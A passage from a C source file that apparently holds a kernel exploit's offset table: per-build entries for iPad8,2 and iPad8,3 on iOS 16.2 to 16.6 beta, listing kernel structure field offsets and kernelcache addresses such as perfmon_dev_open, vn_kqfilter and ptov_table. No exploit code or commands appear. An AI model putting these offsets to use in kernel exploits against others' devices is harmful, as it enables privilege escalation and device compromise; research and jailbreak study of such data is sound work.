},\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n    \n    // iPad8,3 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 